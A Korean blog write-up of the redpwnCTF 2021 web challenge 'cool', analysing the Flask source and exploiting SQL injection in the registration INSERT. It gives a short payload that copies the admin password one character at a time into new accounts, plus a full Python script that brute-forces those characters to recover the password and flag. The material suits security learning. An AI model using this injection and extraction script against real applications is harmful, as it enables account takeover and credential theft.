-
[Clear] redpwnCTF 2021 web/cool WriteupCTF/redpwnCTF 2021 2021. 7. 13. 23:56
주말부터 월요일 밤까지 redpwnCTF가 열렸다. 이번 대회는 Dreamhack CTF #10 과 겹치기도했고, 시간이 많이 안나서 틈틈히 참여했다. 총 5문제 Solve하였는데 그 중 그마나 난이도가 있었던 cool 문제를 풀이해보자
주어진 페이지에 접근해보자.
메인 화면 로그인 후 회원 가입 후 로그인을 시도하면 아래와 같은 안내문구가 나온다. ginkoid 계정으로 로그인을 하면 플래그가 주어지는듯 하다.
주어진 소스를 분석해보자.
플래그 획득 조건은 아래와 같다.
@app.route('/message') def message(): if 'username' not in session: return redirect('/') if session['username'] == 'ginkoid': ##### .................................... (1) return send_file( 'flag.mp3', attachment_filename='flag-at-end-of-file.mp3' ) return ''' <link rel="stylesheet" href="/static/style.css" /> <div class="container"> <p>You are logged in!</p> <p>Unfortunately, Aaron's message is for cool people only.</p> <p>(like ginkoid)</p> <a href="/logout">Log out</a> </div> '''
예상한대로, ginkoid 계정으로 로그인을 해야 한다.
allowed_characters = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789' ) def generate_token(): return ''.join( rand.choice(list(allowed_characters)) for _ in range(32) ##### .......... (2) ) def init(): # this is terrible but who cares execute(''' CREATE TABLE IF NOT EXISTS users ( username TEXT PRIMARY KEY, password TEXT ); ''') execute('DROP TABLE users;') execute(''' CREATE TABLE users ( username TEXT PRIMARY KEY, password TEXT ); ''') # put ginkoid into db ginkoid_password = generate_token() ##### .................................. (1) execute( 'INSERT OR IGNORE INTO users (username, password)' f'VALUES (\'ginkoid\', \'{ginkoid_password}\');' ) execute( f'UPDATE users SET password=\'{ginkoid_password}\'' f'WHERE username=\'ginkoid\';' ) init()
시스템이 최초 구동될 때, ginkoid 계정이 추가됨을 알 수 있다. ginkoid의 password는 (1) 과 같이 정의된다.
(1)의 로직을 파악하려면 (2)를 참고해야 한다.
(1),(2)를 통해 알 수 있는 점은
패스워드는 a-zA-Z1-9 에서 랜덤한 32글자 문자열이다. ( 0 미포함 )
로그인 로직을 살펴보자
def check_login(username, password): if any(c not in allowed_characters for c in username): ##### ............... (2) return False correct_password = execute( f'SELECT password FROM users WHERE username=\'{username}\';' ) if len(correct_password) < 1: return False return correct_password[0][0] == password ##### ............................ (3) @app.route('/', methods=['GET', 'POST']) def login(): error = '' if request.method == 'POST': valid_login = check_login( ##### ....................................... (1) request.form['username'], request.form['password'] ) if valid_login: session['username'] = request.form['username'] return redirect('/message') error = 'Incorrect username or password.' if 'username' in session: return redirect('/message') return render_template_string(''' <link rel="stylesheet" href="/static/style.css" /> <div class="container"> <p>Log in to see Aaron's message!</p> <form method="POST"> <label for="username">Username</label> <input type="text" name="username" /> <label for="password">Password</label> <input type="password" name="password" /> <input type="submit" value="Log In" /> </form> <p>{{ error }}</p> <a href="/register">Register</a> <div class="container"> ''', error=error)
(1)부터의 소스를 보면 일련의 로그인 조건을 만족 하면 로그인이 이루어지고, /message로 리다이렉팅 됨을 알 수 있다.
로그인 조건을 우회인증하기 위해 SQL injection 가능 여부를 파악해보자.
(2) 조건에 의해 username 파라미터에는 구문 삽입을 위한 특수문자 등 사용이 불가능하며,
(3) 조건에 의해 password 도 사용자 입력 값이 실제 패스워드와 일치하는지 검증하기 때문에 SQL injection이 불가능하다.
순수 로그인 기능에서의 SQL injection은 불가능한 것으로 판단하고 다른 로직에서 취약점을 찾아보기로 했다.
코드 분석 결과 회원 가입 시 호출되는 create_user 로직에서 취약점을 찾을 수 있었다.
def create_user(username, password): if any(c not in allowed_characters for c in username): return (False, 'Alphanumeric usernames only, please.') if len(username) < 1: return (False, 'Username is too short.') if len(password) > 50: ##### .............................................. (2) return (False, 'Password is too long.') other_users = execute( f'SELECT * FROM users WHERE username=\'{username}\';' ) if len(other_users) > 0: return (False, 'Username taken.') execute( 'INSERT INTO users (username, password)' f'VALUES (\'{username}\', \'{password}\');' ##### ..................... (1) ) return (True, '')
(1)의 INSERT 구문에서 별다른 필터링이 없기 때문에 SQL injection이 가능하다고 판단했다.
하지만 테스트 결과 '); SELECT ~~ 와 같이 여러 쿼리가 실행되도록 하는 방식은 불가능했고, 하나의 쿼리 문장에서 인젝션을 시도해야 했다.
INSERT INTO users (username, password) VALUES ('username', '[password]');
에서 우선 password 부분의 ' ' 를 포함시키면서 구문을 짜야 했기 때문에 SQLite에서 CONCAT 처럼 문자열을 더해주는 || 문법을 사용하기로 했다.
https://www.sqlitetutorial.net/sqlite-string-functions/sqlite-concat/
Looking for SQLite CONCAT? Use The Concatenation Operator || Instead
SQLite does not support the CONCAT function. Instead, you use the concatenation to concatenate two strings into a string.
www.sqlitetutorial.net
따라서 injection 공격 구문은 '||(select ~~)||' 과 같이 될 것이다.
하지만 큰문제가 더 남아 있었다. (2)를 보면, password는 50글자를 넘지 못한다는 조건이 있다.
해당 조건을 만족하기 위해 구문을 아무리 줄여도
'||(select substr(password,[index],1) from users limit 1)||'
처럼 되야 할 것 같았는데.. 이 또한 50글자가 넘었다.
더 줄일 방법이 없을까 하다가 뒤에 limit 1 을 지우더라도 default로 최초 생성된 계정의 password인 ginkoid 의 비밀번호를 취급할 것이라고 추측하고
'||(select substr(password,[index],1) from users)||'
를 시도해봤더니 에러가 나지 않음을 확인하였다. 내 추측이 맞다고 가정하고 이후 공격 시나리오를 구성해보았다.
이후 공격 시나리오는
1. password의 길이가 32인걸 알고 있으니 ,위 구문을 통해 password의 index 번째 글자를 비밀번호로 갖는 32개의 계정을 생성한다.
2. 각 계정에 비밀번호는 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 중 한 글자일테니,
bruteForce 공격을 통해 비밀번호를 찾는다.
3.찾은 비밀번호를 모두 더한 값이 ginkoid의 password가 될 것이다.
위 시나리오를 코드로 구현하면 아래와 같다.
import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' url = "https://cool.mc.ax/" sess = requests.Session() registed_users=[] def login(i) : for j in range(len(allowed_characters)) : data = {"username":registed_users[i],"password":allowed_characters[j]} response = sess.post(url,data=data,verify=False) #print(response.text) if "Incorrect username or password." not in response.text : response = sess.get(url+"logout") return allowed_characters[j] def register() : for i in range(32) : username = "VardyExploit"+str(i).replace('0','Z') registed_users.append(username) data = {"username":username,"password":"'||(select substr(password,"+str(i+1)+",1) from users)||'"} #print(data) response = sess.post(url+"register",data=data,verify=False) #print(response.text) #print('------------------------------') if "You are logged in!" not in response.text : print(response.text) exit() else : response = sess.get(url+"logout") #print(response.text) register() ginkoid_password = '' for i in range(32) : ginkoid_password += login(i) print(ginkoid_password) print("ginkoid's password is "+ginkoid_password)
해당 exploit code를 실행시키면 비밀번호를 획득 할 수 있다.
찾은 패스워드로 로그인을 하면 somebody is cool~ 이라고 말하는 음성파일이 주어지는데, 듣기평가로 플래그를 인증하는 것은 아니고,
패킷을 보면 파일의 마지막에 플래그가 주어짐을 확인 할 수 있다.
FLAG = flag{44r0n_s4ys_s08r137y_1s_c00l}
반응형